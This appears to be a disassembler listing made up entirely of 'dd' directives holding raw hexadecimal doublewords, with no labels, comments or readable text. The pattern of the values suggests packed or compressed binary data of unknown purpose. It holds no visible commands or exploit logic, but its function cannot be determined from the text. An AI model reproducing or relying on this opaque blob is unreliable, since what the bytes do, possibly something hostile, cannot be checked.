		dd 0F6B6DDADh, 7FFDADCEh, 6CC2FFE1h, 5D666F11h,	33E56D54h
		dd 93291DBCh, 5B69A52Dh, 0FFA17F68h, 0FFFF2827h, 6C836FFFh
		dd 289E2972h, 76854963h, 61A7D9D9h, 44516E94h, 6B9CC6DEh
		dd 1C02FC1Ah, 0DAAD4944h, 69D306FFh, 0CDF3EDB5h, 6E32F7FBh
		dd 0BFDB783Dh, 0B0E1DBF0h, 35689E00h, 88634D70h, 9C109081h
		dd 26803076h, 4BDBE25Fh, 65FB31C5h, 0C3BDCD54h,	0B40CE152h
		dd 0FFFF533Ah, 9D2EE05Fh, 9B0FDEC3h, 65D83930h,	609F49EFh
		dd 38321F64h, 0DBB985B5h, 0A5FF61FAh, 0A662FC2Fh, 640D8182h
		dd 27AD4F86h, 65C8D437h, 0B770A121h, 0FFF43637h, 33EF6DBh
		dd 64A953C9h, 0A12C7555h, 76FDEC6Dh, 21758069h,	5FF53A0h
		dd 3BBF2FFEh, 345F28C9h, 35AF6B5Fh, 2F91126Dh, 0E2DC0658h
		dd 1B460BDAh, 0D93BFADDh, 0F239315Fh, 0B8B73F70h, 0A1697CEFh
		dd 0EF3B6FD5h, 64D3F2Bh, 0FF1B4638h, 31FA6FFFh,	83A40DF2h
		dd 3723AB19h, 431CDB53h, 6875766Dh, 0B28089BFh,	0FFF46FFFh
		dd 2F6B050Eh, 1B6E8417h, 0B764346Ch, 2BF20D4Eh,	0F4D246DCh
		dd 0FF757122h, 0FFFA5FFFh, 0D26F6868h, 0E45229C7h, 0C1C712C8h
		dd 0BB69F8E1h, 20EEEF74h, 1CB5287Dh, 7EB44088h,	6177F4BBh
		dd 40BA4BF2h, 7310C1C3h, 2F4335ADh, 2FFF897Fh, 0BE2B2D63h
		dd 38E4295Bh, 28756795h, 0C99EC773h, 0C4663257h, 0FFFFFFFFh
		dd 5EBCB074h, 58DADB2h,	0DE429674h, 66DB5A16h, 0B94D00C1h
		dd 3566B568h, 15DD8F09h, 43E56956h, 0A17FF46Fh,	0B64C342Bh
		dd 0F49BEEB7h, 2E2D0A27h, 2E703C05h, 0FC2FFC5Ah, 6736DE67h
		dd 20CC14DAh, 77506B27h, 3DB63E6Eh, 0FFFD2F56h,	0A645FF8Dh
		dd 26502D21h, 78107FFFh, 1DF203Ah, 60504C7h, 0FD0B725Fh
		dd 0A090807h, 0FFE00C0Bh, 12116700h, 0C2FB1413h, 1615FFFFh
		dd 1A191817h, 1E1D1C1Bh, 2221201Fh, 26252423h, 2B2A29B9h
		dd 0BFFF582Ch, 81385BD0h, 0AE202F85h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 0F6AA84A7h, 0D55B4241h, 58D68739h, 0FFEADF55h
		dd 0FF1B6C2Fh, 5C5B5A59h, 0B95F5E5Dh, 1866D363h, 0B46FAA8h
		dd 0DB3EF68Ah, 0FF936D6Ch, 8D5AA847h, 7C7B8CDDh, 0BB7F7E7Dh
		dd 85B7C0F0h, 0FFF897FAh, 74E978D5h, 266E4500h,	41DFFE50h
		dd 4B37AEE1h, 454E5245h, 0DFFFF44Ch, 4C446AA2h,	0C2FC1C4Ch
		dd 461F6546h, 8746736Ch, 0BFF6320h, 793BE14h, 0F6746553h
		dd 0BFF9479Fh, 6C4138E7h, 0FFF63BA0h, 2801FFFFh, 75006E00h
		dd 0B5D76C00h, 0F29ACC6h, 60A1E3Ch, 0CBF6CF02h,	100701DBh
		dd 0A0A0300h, 10FFFA15h, 5004504h, 7C2E1735h, 0C70030ECh
		dd 0F16EB749h, 1F6BA5h,	7995BF37h, 0AA07A5D7h, 0FFFDBFFAh
		dd 8000B20h, 0D2606860h, 89A96EDh, 70B7818h, 7EB20715h
		dd 1A00B5CEh, 52FFFF01h, 6A31BC51h, 72437726h, 0EAAADF09h
		dd 68943341h, 6FFFE8B7h, 7053E8D0h, 70A9EEC9h, 0D16BAD4Bh
		dd 54EB6C60h, 4BFB0C0Ch, 0CE12FFFFh, 576FC400h,	18BF6F12h
		dd 7453C717h, 2B4917A0h, 0D26A624Fh, 5FF4A2D9h,	49467B60h
		dd 14C34B9h, 74EE865Bh,	26765F41h, 0BFF550BFh, 0D77C13EFh
		dd 460FCD98h, 42285153h, 0B850966Fh, 0FFFFFFFFh, 5355A605h
		dd 0E4A65D60h, 2001CAAAh, 9001E428h, 482049h, 90064210h
		dd 86108489h, 81640640h, 0DDADFADEh, 40051001h,	8718D882h
		dd 0CE203B85h, 51132451h, 620025FBh, 6C08C613h,	0FFFF0600h
		dd 0D76EA342h, 0CA8D3BC4h, 0FFDFD956h, 0F332E426h, 141B1401h
		dd 6FFFC300h, 0C2259115h
		dd 36EF2F00h, 0F72365B2h, 0DFD50011h, 705FFFE0h, 84838281h
		dd 88878685h, 8C8B8A89h, 168F8E8Dh, 95949392h, 0C3FFFFFFh
		dd 98F39796h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0FFFFAEADh, 0B0AFFE35h, 0B4B3B2B1h, 0B82353B5h
		dd 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h, 0FFFFE7FFh, 0C8C7C6C5h
		dd 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h, 0DCDBDAD9h
		dd 0FFDFDEDDh, 0E0FFD0BFh, 0E4E3E2E1h, 0E8E7E6E5h, 0EDECE1E9h
		dd 0F1F0EFEEh, 0F5F4F3F2h, 6F22F7F6h, 55FFFFFCh, 0F9F8FF12h
		dd 0FDFCFBFAh, 1290FFFEh, 7042B120h, 0A3085590h, 8D8552CAh
		dd 0FFFFFC12h, 1F104AFFh, 610009F4h, 3A48487Fh,	266CDC6Dh
		dd 0E91D68h, 4D202C64h,	0D7DD6CBAh, 0FF790820h,	0CE6FFE05h
		dd 792F2F0Bh, 31CBA110h, 4D43507Bh, 876F249Bh, 0FF96F71Ah
		dd 0BFFFFFFh, 0BB766F4Eh, 4FC06BC5h, 70F50A5Dh,	528B1474h
		dd 24410EA5h, 0BB3DF4B5h, 7E4AA857h, 0BF6E0743h, 65FFFFF1h
		dd 17D1BA41h, 0FC69BF1Bh, 6863D74Dh, 1E8DB59Ah,	31E265DFh
		dd 8E36AD23h, 0FFF1BF95h, 530AECFFh, 3F72A961h,	636B156Bh
		dd 92E4613h, 95AC1245h,	57135A1Ah, 0FF0C4C3Ch, 0C7FA37FFh
		dd 541D9D0Ah, 101E4D7Eh, 686B7553h, 60767E1h, 63868080h
		dd 0FF03F080h, 7FFC6FFh, 7D0B6CA8h, 14808286h, 15854BE9h
		dd 3F8542FAh, 805080E1h, 0B43FBD88h, 0FFFF972Dh, 27F30BFFh
		dd 0F4072357h, 21885050h, 1C07DAD7h, 8391828h, 0A17F21F6h
		dd 78EF68ADh, 2DBFFADh,	730277E2h, 0F3228614h, 39CE6B0Bh
		dd 6FFC6E7h, 9FCB5BEDh,	9B7B9AAh, 0ECE1D6D8h, 30FA7905h
		dd 0F6FFC6FEh, 5060C18h, 1E372AFFh, 483960C2h, 543F4F73h
		dd 0D5B47342h, 0FC0BC024h, 21637B37h, 14685D0Fh, 66EEA97Bh
		dd 0F16F1B69h, 0EA06BFFFh, 33D5475h, 56D90B76h,	8E6B9583h
		dd 32004307h, 1B1BD5DFh, 0FF1BFFE9h, 1772E49h, 705F3722h
		dd 622E1050h, 0F7445A85h, 6C6F677Dh, 0D6FFE464h, 577370BFh
		dd 98DAE54Eh, 62436D01h, 51B7BD5Ah, 8CC78773h, 0F56FFFFFh
		dd 56673370h, 1D53ADD4h, 3C8B769Ah, 0A50EE75Bh,	85BE6DDAh
		dd 0D61F275Eh, 0FC6FFFFFh, 6B304026h, 16660F74h, 726BB1ABh
		dd 0C09507E0h, 47C3518Dh, 5C8156Dh, 0C0BF17C3h,	3E3FFFFh
		dd 0F66F4717h, 0F7B5EF0Eh, 730679BDh, 5D073068h, 7B72A308h
		dd 837F9316h, 6577FFFFh, 0D1B37D3h, 8E02D6Bh, 6E6DC40Ch
		dd 0CBDB00CCh, 6FBC00B7h, 17FDB46Fh, 6A5AE17Eh,	5F63B0E3h
		dd 0CBBB79F3h, 733A6796h, 6C4F7A6Fh, 0BE9605Fh,	0A9FF744Bh
		dd 0CB20C387h, 4A336103h, 0FFFA5FFFh, 64ED7E19h, 70674F0Ch
		dd 5885795Fh, 76B76EC1h, 5B0A5A98h, 2E63EC6Ch, 0FFFF076Fh
		dd 2369FFFFh, 0A33470F6h, 4B1C42BDh, 432707CDh,	5A3DDDF6h
		dd 661BA683h, 69542D63h, 6866CC41h, 0FF0B66DFh,	4B0F837Fh
		dd 3175244Dh, 12D0C361h, 0AF6F9E57h, 0BBF3B65Bh, 0FFFA16ADh
		dd 67ABE378h, 856FBB67h, 0DA2F5CD8h, 0A473CF2Eh, 0F42D1BFFh
		dd 3DB0CC76h, 625C00E1h, 55AF5873h, 68D9A9ACh, 0FF0BFA15h
		dd 4E3E434Fh, 136B6580h, 0AF365F5h, 86E019EEh, 0BFFFFFFFh
		dd 578F3FAAh, 0B373168Eh, 9F080F76h, 36CF2A88h,	874B0ED7h
		dd 7794FB3h, 0CE07865h,	0AD020886h, 3B3CFF5Bh, 0F18A1FD5h
		dd 6CA9BB43h, 0AC0AFBAh, 2FFFFFFDh, 61E15E29h, 0EA52CB27h
		dd 8C36DAEFh, 275BFA58h, 5B8A1679h, 0FFFF1290h,	0FE3FD697h
		dd 6EE7215Fh, 731E784h,	63CF70D7h, 0BD617A6Eh, 0FFF5BFB3h
		dd 230077FFh, 0F2CF8462h, 5B818529h, 0A7B38E47h, 0BF14E9D3h
		dd 3AF5EB8Dh, 0DFFF4EBDh, 7F7FFFEh, 5EBD234Bh, 3B2FEBDDh
		dd 574B7907h, 637A13D7h, 9F8F7F73h, 0B42EB456h,	17FF60CFh
		dd 2F69E0DAh, 0E67F0B84h, 361BE927h, 36342E39h,	0A585312Eh
		dd 3902FFFFh, 0FFC03831h, 5043BB05h, 4F542054h,	2FFD7F3Ah
		dd 0FFFFD1D9h, 7B5CF06Fh, 41863830h, 2D303438h,	44303142h
		dd 4431312Dh, 0B6DADB33h, 0E17F09BEh, 3343C002h, 98013621h
		dd 0FCD30439h, 0E9747460h, 7D34EAABh, 4E047A79h, 56036590h
		dd 40C6DFD5h, 6EFFF288h, 824E04C8h, 0FFFEADD5h,	1B704836h
		dd 17EA63D1h, 1DE1A2B8h, 7FFBF401h, 0ABFF705Ah,	0BD4256EAh
		dd 77433F36h, 8B1FF65Fh, 0FFFFFFFDh, 0CF71C6BEh, 322A8DFh
		dd 7E222A9h, 0DEF5D00Ch, 22CDF23Dh, 0C519E8CAh,	22D0C722h
		dd 1BFA27CEh, 1B045577h, 0BA524620h, 0E86014Ch,	0FFAAA5FBh
		dd 63F3B937h, 0E01346C4h, 9ACF342Bh, 5EDF0EDh, 340CFFFEh
		dd 10A03012h, 0BD9D9B10h, 20B45E0h, 0BA4F0DFFh,	85FC45D9h
		dd 0D090FFD2h, 0DECB2567h, 1034CEC0h, 0CF2CA661h, 2C5184C2h
		dd 1BFFFFFFh, 7548B0B4h, 678076CDh, 1C77C0D8h, 0BA4818DEh
		dd 2EBC2F41h, 0A55FB05Fh, 0FFD2444Dh, 33F6FE85h, 0C404EB90h
		dd 0FE21CB05h, 0DD2722Eh, 0FBC07372h, 0FFB68D35h, 382708FFh
		dd 17758B73h, 262E0240h, 6E03D44Bh, 0D760C953h,	5B6FFA5Fh
		dd 7420730Fh, 0EBD80763h, 0D024F70h, 0B9008D05h, 0F56FD6FFh
		dd 0B01FEACDh, 4F80D83Eh, 524A4246h, 11A2C804h,	0FE20A450h
		dd 0DD0AFFFFh, 0E0A5E381h, 0E8509E61h, 9BA8EC0Ch, 0D7FB5722h
		dd 0B7046A23h, 0FFA37F4Dh, 60B679DFh, 0FC551E01h, 0E44055C8h
		dd 324DE852h, 0E22AEB9Dh, 0FFE91550h, 0E50CFFFFh, 96CFB16h
		dd 45C64F59h, 0BF2F4EFFh, 32C88201h, 0EB027DDAh, 160DE827h
		dd 0FFFF5082h, 88FE7F42h, 81FF841Ch, 74982A26h,	0CAE81412h
		dd 642D222Fh, 3304FDEDh, 0FFFF8368h, 51C575D2h,	0DB924F28h
		dd 0C99110Dh, 510448A4h, 0FF82598Ch, 2E5FFFEDh,	950C6852h
		dd 0F6129E8h, 736A047Dh, 222D6F19h, 5C3114E8h, 7881F906h
		dd 0FFAB7FD5h, 324E82Eh, 0C801FA55h, 0F84BC56Eh, 7FC03D82h
		dd 0FFFF2D9Ah, 657BBFFFh, 0BE75C05Fh, 731C7FD4h, 1D9656E4h
		dd 0E80618h, 0C9DE40F0h, 37E039B6h, 0F8F413ECh,	0FFFFFFFFh
		dd 0EE11C206h, 9BE42F16h, 208D520Ch, 102E50A8h,	85F9814Ch
		dd 0C7057CC0h, 84BDB828h, 3ABB2F90h, 0FFFFFC1Bh, 0A36251F8h
		dd 5C5359F8h, 24521855h, 88236150h, 0DC517D2Dh,	0DD174952h
		dd 0FFFFFE05h, 4071131Bh, 2A3F0014h, 0CD76130Eh, 10771418h
		dd 0B7010652h, 85D99ECAh, 46FFFD5Bh, 8D838D5h, 3864028Eh
		dd 0D9B9670Bh, 0C833080h, 0A17FFFFDh, 0A610B9DDh, 34A553A8h
		dd 0E0ED9850h, 1C408317h, 0E2A3BD36h, 0C6FF3FA4h, 0F4EDBFFFh
		dd 0B74E605h, 0EAE0D6CCh, 0E0252308h, 0EB532278h, 0C8781680h
		dd 7FFF1989h, 0D00DF823h, 477CFDDCh, 0CD08306Ah, 88B5B2Ch
		dd 9C27BD51h, 0FD0B51ADh, 9018FC5Bh, 0D89B3A74h, 0DE1A9BDAh
		dd 0B37801F8h, 0FFFF2356h, 0D0A9A22Dh, 5214141Eh, 0AC326CD9h
		dd 42FFC7F8h, 6310DB30h, 0FF42FE80h, 0E4A5200Dh, 0A7C4537Fh
		dd 151182Fh, 0FF2A6800h, 0B49746FFh, 0B8D840EFh, 453EA0D8h
		dd 0D89ABD14h, 736E1018h, 0FFFF526Ch, 0DC45FA37h, 3E4C2E7Fh
		dd 315333DCh, 0E64685Eh, 9C8EC86Dh, 0D030046Ch,	0FFFE55FCh
		dd 7CD4FFFFh, 7B1AE85Ch, 7BE08DC8h, 0D08A042Fh,	0ADD28D99h
		dd 81A7C21h, 2E57D4EBh,	871251BBh, 4BFFE911h, 633EA925h
		dd 0EB663F45h, 7F8B3217h, 0D702F0D0h, 7EDFF0BAh, 186E0AC1h
		dd 69D9F053h, 0C04E81F8h, 57AD0163h, 0FFFFFF48h, 75E122B7h
		dd 0E7246287h, 749BED8h, 0EF71666Ah, 6676F651h,	0C3839C0h
		dd 53061320h, 0FFFFFFFFh
		dd 0C8C25EEh, 7C7E34B8h, 0EEBE152Ah, 20D0999Ch,	6430FBA1h
		dd 0CF4B3C0Dh, 2B510CFAh, 320501B0h, 0FFFFF6FFh, 7785B0C3h
		dd 3B3D8F21h, 72773DEBh, 4019D872h, 0DE28D04Fh,	0B0C2FDEh
		dd 5C73Ch, 0FFFFC1B8h, 0CDE13B65h, 24DF5658h, 6D7E08E9h
		dd 0CC15F428h, 68CD136Ah, 0D0BF8590h, 0E72EB6B7h, 1A3A7BF9h
		dd 0C0A06814h, 0FC6F2384h, 0E5CEFF42h, 0ECDCE52Dh, 0FCAC985Ch
		dd 75A6032Bh, 8D6CF782h, 0FF5BFFABh, 0E044162Ch, 1646E04Dh
		dd 5435265Eh, 152E4233h, 68C0E13Dh, 7FFFFFFFh, 0EB1B530Ch
		dd 604BC51Bh, 0D7DC1EB6h, 0AAC9335Ch, 4941ABFEh, 83DC55D1h
		dd 92B818EAh, 7FF8BA05h, 1053FFFBh, 0CF28E06Fh,	4CC161F3h
		dd 0EB6847F6h, 9816EC09h, 0CB482D90h, 0F8201A61h, 0F2DFE05Fh
		dd 0EED90647h, 0CA49102Ch, 31B3A650h, 0E457D379h, 0FFFFE180h
		dd 84412337h, 0B11768C7h, 60EE9C01h, 4D08980Bh,	9EB76FBh
		dd 7DC778DAh, 7F1A85FFh, 250E2983h, 3CF1830Fh, 0FA699660h
		dd 41E905DCh, 0FFFFFFFFh, 73937C23h, 8BB4D20Ch,	55898114h
		dd 0B045751Ah, 0C9CC2DE3h, 7018E9D0h, 0A376D88Bh, 422FF455h
		dd 897FE8DFh, 0CA253BFFh, 5384EF95h, 6C1E130Fh,	77720A02h
		dd 504A05FFh, 0F028CB44h, 4B28F03Ch, 0FF06D62Eh, 8AD0FF1Bh
		dd 428BF0E0h, 5BF49201h, 0ECF68084h, 5606B70Fh,	0D4BFFFFEh
		dd 0E1BB37FFh, 0E8C42032h, 0DD9AC276h, 441B5733h, 0C10A896Dh
		dd 0E62D501h, 0FFFFFFFFh, 0E9F0EDC2h, 8B90D7A7h, 840F8F02h
		dd 0A0FB6596h, 51974DA3h, 9E4155EAh, 484559A5h,	5175D8C9h
		dd 0FFFF6DBFh, 9EAB66E4h, 0E596D8E0h, 0D80EB6B3h, 8B489728h
		dd 644C5015h, 0B5554D59h, 52F52F81h, 0EC712E4Eh, 0E972B28h
		dd 0FF6FDFC8h, 6DB57FFFh, 0DEB1097h, 0F77011D4h, 0E9E043ACh
		dd 1A9FA366h, 4C55D8D9h, 0E4001CE4h, 0FFC0BFFFh, 0C2409847h
		dd 18F89FD5h, 0C06F36CCh, 60018768h, 6180FB61h,	0F0F32B0Dh
		dd 0FFFFF8B7h, 881D4B74h, 3CB0FE90h, 0EFE4B74Fh, 0C0891D2Ah
		dd 60D93AE0h, 0A3FC4EF2h, 0FFFFFFFFh, 0E020E370h, 257C955Ah
		dd 9752F4EBh, 89261ADCh, 761C18F7h, 204808FDh, 0F46D08F0h
		dd 4D800289h, 0F6F8297Fh, 4F13908Eh, 3CF9B2ECh,	6210E987h
		dd 69E42A3Dh, 0FFFFFFFFh, 1D9F137Eh, 1F406220h,	0C669C288h
		dd 2D72B094h, 0A929D2E8h, 0AC7A8397h, 0B64E8A8Ch, 0EBE4110Bh
		dd 6FFFFFFFh, 6D021C72h, 2349A2E4h, 0C80861ACh,	0BDC88E0h
		dd 1C094A60h, 8531C033h, 66BC7DB4h, 0FFDBFFFFh,	0CE21D4Fh
		dd 6B37F85Dh, 0BF98C2Bh, 38C7521Dh, 9A4BC09h, 0FFC81C4Fh
		dd 66D86E01h, 0FFFFF02Fh, 0F7143F6Ch, 0C59D41D8h, 0FC8E005Ch
		dd 57EAF661h, 60503705h, 0B89C7369h, 0FFFC1BFCh, 0AEDE1BD2h
		dd 23974D9h, 0F5A91175h, 89411B2Bh, 181E3657h, 817FC820h
		dd 381A0BFFh, 0F44D6801h, 0EE689D51h, 935562ABh, 8F76364Ch
		dd 0FFFD1A0Dh, 0B9C006B0h, 0D08518Ah, 29966ECh,	53A706E7h
		dd 0F8DFFE2Dh, 580A5985h, 0A1D2566Dh, 0E842C719h, 0B9451A13h
		dd 0A2050938h, 5E16FFFFh, 0EBF0EC5Bh, 176C8528h, 6D197FC2h
		dd 0E06B833h, 2FFFFFEh,	21B3D86Ch, 2D47DB7Ah, 0FB0150C6h
		dd 0B2DD2D57h, 0E7ED5121h, 0FF04D251h, 1B0D6FFFh, 6C27BE59h
		dd 5D2008BFh, 7AFA1479h, 9CAD050Bh, 1C19402Dh, 0FFE88B7Fh
		dd 4BE1072Eh, 9246B1A6h, 373A146Bh, 11BDED96h, 0FFFF0E3Bh
		dd 432FFFFh, 4598CB1Eh,	8914DB2Eh, 0E0E7E04h, 106D96A8h
		dd 51294D5Dh, 60C0833Ah, 1143D0ADh, 0FFFC6A82h,	987FFFFFh
		dd 514560C5h, 23A2F46h,	0ECDF0874h, 22550837h, 44104938h
		dd 0AC97A1Bh, 420CB645h, 1AB74BFFh, 0CD861C9Fh,	0DFF83DD6h
		dd 90B091C0h, 0FFFFD424h, 0CD80E37Fh, 0F31B69C0h, 11026636h
		dd 741F3A20h, 0E069DE05h, 0B56A11D3h, 0E870FED9h, 0A97E2DFEh
		dd 86AC6CBh, 71A0E50Eh,	0E9E12F38h, 973D023Fh, 0FDADDBFEh
		dd 3B450529h, 480AF487h, 0B8F4D706h, 0FD506AC6h, 0BC15FFFFh
		dd 6A56755Bh, 0BBB0FA18h, 89306E21h, 0A181441h,	0C20F9AB8h
		dd 6FFFFE97h, 49E9E97Fh, 2BE81522h, 84C1A327h, 0F4F5F48h
		dd 2DC78B09h, 0FFFF50EBh, 2EEEFFFFh, 0D7C5F26Ch, 0F4FD627Ah
		dd 0AC17601Eh, 3F47A890h, 0F197428Ah, 1740D677h, 67E82852h
		dd 0AB7F7109h, 2D21EDC1h, 74188876h, 0F7BE6607h, 55E9019Dh
		dd 0F8DFFFFFh, 400C80DDh, 0B51C3460h, 3F0B973Fh, 1B3B3117h
		dd 41EF4AC2h, 0B0374E41h, 0FFFF9C20h, 80BFFFFh,	0E35DCAB0h
		dd 0F7C629B4h, 2511179h, 0B2E34219h, 214CC603h,	6450650Dh
		dd 1C842C2h, 0FFFF0C19h, 50C3FC2Fh, 66464B23h, 0F5E9CD5h
		dd 99912AF3h, 1B610A13h, 889DD83h, 0DF4889BCh, 0FA17B7F5h
		dd 0EB520B48h, 506FF69Bh, 56EB4A1Bh, 0D60D9523h, 6A3756FFh
		dd 69333A93h, 787141A1h, 6B220F04h, 0FD0BF02Fh,	0D2A3ACDBh
		dd 7C3090Eh, 0A3C75013h, 0AE05412Fh, 0FEA5FE37h, 0B1D8CADh
		dd 33469FA4h, 0F4F28DB2h, 322A0E60h, 0FFFCE0BAh, 0C19BFFA5h
		dd 12A5558h, 68590189h,	8341F16Bh, 49424142h, 6385B992h
		dd 0FDBF2C4Ah, 10446FFFh, 2131920Fh, 0FBF80C13h, 0C865A41Bh
		dd 22394D67h, 78B17BE7h, 0B6A59092h, 2775FFFFh,	2B7B538Dh
		dd 0F8655F19h, 7D5EF8BBh, 0C3DD8F20h, 0FF898C17h, 5BEBFFFFh
		dd 5075012Eh, 2B384C3Bh, 1BAC1A53h, 4AB85E6Ah, 0C7BD4546h
		dd 2B916F63h, 7E0DFFD0h, 0C053F810h, 0B048802h,	784D2DE1h
		dd 2C5772F4h, 0BFFFFFFFh, 0CF021029h, 33ABEF0Fh, 20B70878h
		dd 16D71421h, 61DD49C0h, 2653D70Ch, 3EB0692Ch, 0C1BF49EBh
		dd 47EBFE17h, 0E8C63C71h, 9F6BCAE6h, 0C035E8B4h, 0E071A1F6h
		dd 0FE05FFFEh, 20409EE0h, 0F50203B0h, 0A514DC0Ch, 0B08C9726h
		dd 0E18106Fh, 0FF1EE658h, 5F37FF4Bh, 4663424Fh,	4FD7FD83h
		dd 7CED5BFFh, 6FAB7AEBh, 0CEB2D8F1h, 0FFFF16FFh, 0A5F4F0C9h
		dd 0CB2CB291h, 18AE54C2h, 0C9231C29h, 721CCD66h, 0F0438E1Bh
		dd 0FFFFFFF0h, 8670D0F8h, 81EE1957h, 9A12206Ah,	0CCE046Eh
		dd 0B4F0F476h, 709584ABh, 4F5C0F65h, 41BFFFFFh,	641F080Ch
		dd 2925B337h, 2D145821h, 6506497h, 394E9079h, 0FF8B37EBh
		dd 7B2CFC6Fh, 54B2AA0Bh, 0E0E1830Ch, 5ACBB034h,	0A2512076h
		dd 0FFFF1F5Fh, 84234446h, 93D15F1Fh, 3F229929h,	0C23386E9h
		dd 0A97FF125h, 817DF02Fh, 0E66476CAh, 6D241832h, 4393330Eh
		dd 2FF8919Eh, 0E6E4FFF1h, 0B2D0E4E8h, 0F7BCC835h, 463897F4h
		dd 79C9993Bh, 0A3F8F394h, 5837F6FFh, 497B0AC6h,	0B65CA2Dh
		dd 107083CEh, 0F5276F42h, 7FF4BFFCh, 58E26025h,	9401074Bh
		dd 0EC381914h, 4F6309D4h, 0E7B6F1DDh, 56EAF3B2h, 568A4A85h
		dd 0BF8D0BDDh, 465FFFC1h, 1110EC7Eh, 1317128Fh,	0D12AC703h
		dd 7FE060Bh, 0B2407EB8h, 0FFFFE97Ah, 41AD2DE0h,	123286Ah
		dd 7D7DB3CEh, 279A1975h, 0A3686C3Bh, 972082E8h,	515FF16Eh
		dd 2B118979h, 0B8581DA3h, 6AAA5FD0h, 25FFDF05h,	45E5FFFEh
		dd 96250017h, 38320826h, 0BA466FA8h, 83023414h,	9D742EF8h
		dd 0F16FD035h, 0D295FFFFh, 3816110Ah, 0C3D48329h, 1F82541Ch
		dd 0A2357E39h, 7CAC0D72h, 0BFC67B13h, 8817FFC4h, 0D0021498h
		dd 0C0298C89h, 53044C6h, 4CE1B3EBh, 0D6FFA9C1h,	0D3F40FFFh
		dd 367703E0h, 0AA99000Ah, 2EF4EF78h, 3556EC5Eh,	7FFFFEA5h
		dd 36FD084Ch, 0B96DE9h,	0F8604957h, 42B563Fh, 0DACA0910h
		dd 46FF0A0Bh, 5B85FFFFh
		dd 10E18126h, 0B08F90Ch, 920521C1h, 1E4F800Dh, 0CCED16B7h
		dd 0FC1B1D64h, 7EE1FEA5h, 7706E281h, 0EA0DC237h, 0C10E1BC2h
		dd 0FFFF3945h, 5586FFFFh, 3F2F84D9h, 48C8C6Fh, 62C7308Eh
		dd 33D2F4ECh, 8AF08709h, 109533FCh, 0C1E8215Bh,	7FFF682Fh
		dd 0D05AFFA1h, 0A10E8218h, 90E4F7FCh, 0A65868E0h, 0B2D1157Ah
		dd 8AA00311h, 12FF04E4h, 0F9C7FFFFh, 0E47DD2EEh, 66161005h
		dd 160640C7h, 862E1CB9h, 6298AB7Eh, 0BB719B45h,	68DCFFC0h
		dd 6429D950h, 0CB061E1Eh, 91AA151Ch, 0DFFFB6D4h, 0AF912FE2h
		dd 4112D4CAh, 0D4D0B1D4h, 41089DDCh, 85A0206h, 5BFF665Fh
		dd 0C6B042FFh, 6028E27Bh, 6A250A51h, 0DC215229h, 50E9643h
		dd 0EB7FD0B8h, 1E8551D0h, 1AD5A04h, 3B5085Bh, 0FF1E755Fh
		dd 937FFFFh, 0E8BA00CEh, 8714CD52h, 0DAC0B98Ah,	91DE8C14h
		dd 0AC6AD850h, 35A0F882h, 0FD15D2B2h, 0D8D8FFFFh, 0DD1C31AEh
		dd 0D5874516h, 186D1FD8h, 16366C6Dh, 283430C5h,	68182FFFh
		dd 973FDCFEh, 48A672D8h, 7F180C88h, 4BC0901Eh, 847FFFFh
		dd 0DF7F1013h, 41909900h, 0AC04118Eh, 0E4DF121Ch, 6837EE1Ch
		dd 42D0BFFDh, 4502ED17h, 13210D4h, 11799172h, 0BFFE0720h
		dd 581B42F4h, 0FA30971h, 0C56C2D2Ch, 3660D8ECh,	0FF896AF0h
		dd 5497FFFFh, 988788C1h, 91BF01F3h, 8B80AE85h, 0B03B0381h
		dd 9649875Bh, 62ADF4F4h, 5BFF1547h, 0A441FFFFh,	12C73DEh
		dd 96010F2Ch, 0D36FE2B5h, 0F17D9641h, 99E6526Ah, 68046042h
		dd 0FFFFD6FFh, 24B61854h, 0D51BD447h, 596B5FE6h, 7D01D469h
		dd 1437F00Fh, 70D985C0h, 0C0BF9C9Ch, 0BA18EADFh, 0A0B13436h
		dd 0AD100A4Bh, 0E0723DB7h, 0A17FF4D4h, 4D26E25Fh, 6C8FFB34h
		dd 0E3EC5898h, 590803ECh, 0FFC4C526h, 586DF46Fh, 7637CA76h
		dd 0BD347C90h, 4FECF8A7h, 408D5110h, 0BFFFFFFFh, 84E89671h
		dd 0DD5C2330h, 5E402F9Eh, 379B0320h, 85720010h,	110221Ch
		dd 6128DE13h, 0FBB8C21Dh, 611DC6FFh, 555596F4h,	4320FF08h
		dd 0F9305C8h, 20F1B44h,	0FFFFD220h, 158C56DFh, 72720AFh
		dd 0E8EF3C36h, 48D837D4h, 0BF5C6AE2h, 316599DBh, 0F0BFFFE6h
		dd 671C3DFFh, 0D51818BFh, 0BA3EE561h, 0FC67F5C1h, 0B4660596h
		dd 0A6EE1454h, 16FDCCCCh, 0E439F6FFh, 0CC054390h, 2E4C03D1h
		dd 0AC3E2CCCh, 9C082819h, 37FFFEA5h, 0A226DC55h, 361894ADh
		dd 0B6151450h, 0F0860B72h, 0B4D7F8C9h, 0FFFFFF16h, 4DCFCB30h
		dd 0F855564Dh, 67840542h, 0ADCB6922h, 704BB658h, 0D1ECAD7Fh
		dd 0FFFF85FAh, 5984E7FFh, 0B97E88B3h, 915D84BBh, 7D0CC990h
		dd 6E6CB90Dh, 0CE4185A1h, 0FFFFC068h, 0E0ECFFFFh, 0B9A176CBh
		dd 0C48F24EAh, 0F00C6C4h, 597BFCCDh, 301C45Ah, 89E80F8Bh
		dd 4BD61442h, 0FED5D6CBh, 895FAB7h, 30D6C4BDh, 0A46DC8E1h
		dd 0BFC2CEFh, 0BF0B08D0h, 647B2FF4h, 7A0CB9E1h,	1ED0D56Dh
		dd 0E4648793h, 0B5A050B2h, 2B17DBFFh, 0CB3B05AFh, 6051C873h
		dd 0EAB9FF2Dh, 7FFFFFF4h, 8FB092DBh, 0B7050672h, 9DA3509h
		dd 4013E916h, 92AB150Ch, 0C8AED26h, 6ADF9321h, 38DFED8Bh
		dd 0CE4D3BCh, 3A69D9D0h, 0EDDA3125h, 2067F46Fh,	32CC1F02h
		dd 9FE4E5C8h, 8CB21615h, 0CBFC5A00h, 0B8B805DFh, 1C8721C9h
		dd 61DE30B8h, 10B6B872h, 16A837F0h, 0D4B901CCh,	909B95EAh
		dd 0A854BE4h, 3DC2922Dh, 377FE84Ah, 0C6FFE058h,	5D112C97h
		dd 8B207574h, 37B76767h, 0D646A2E1h, 3EFFFFC6h,	8B259DD5h
		dd 0D87C7701h, 4196C3Dh, 0CC324F32h, 39E9F2ADh,	0FFF56E85h
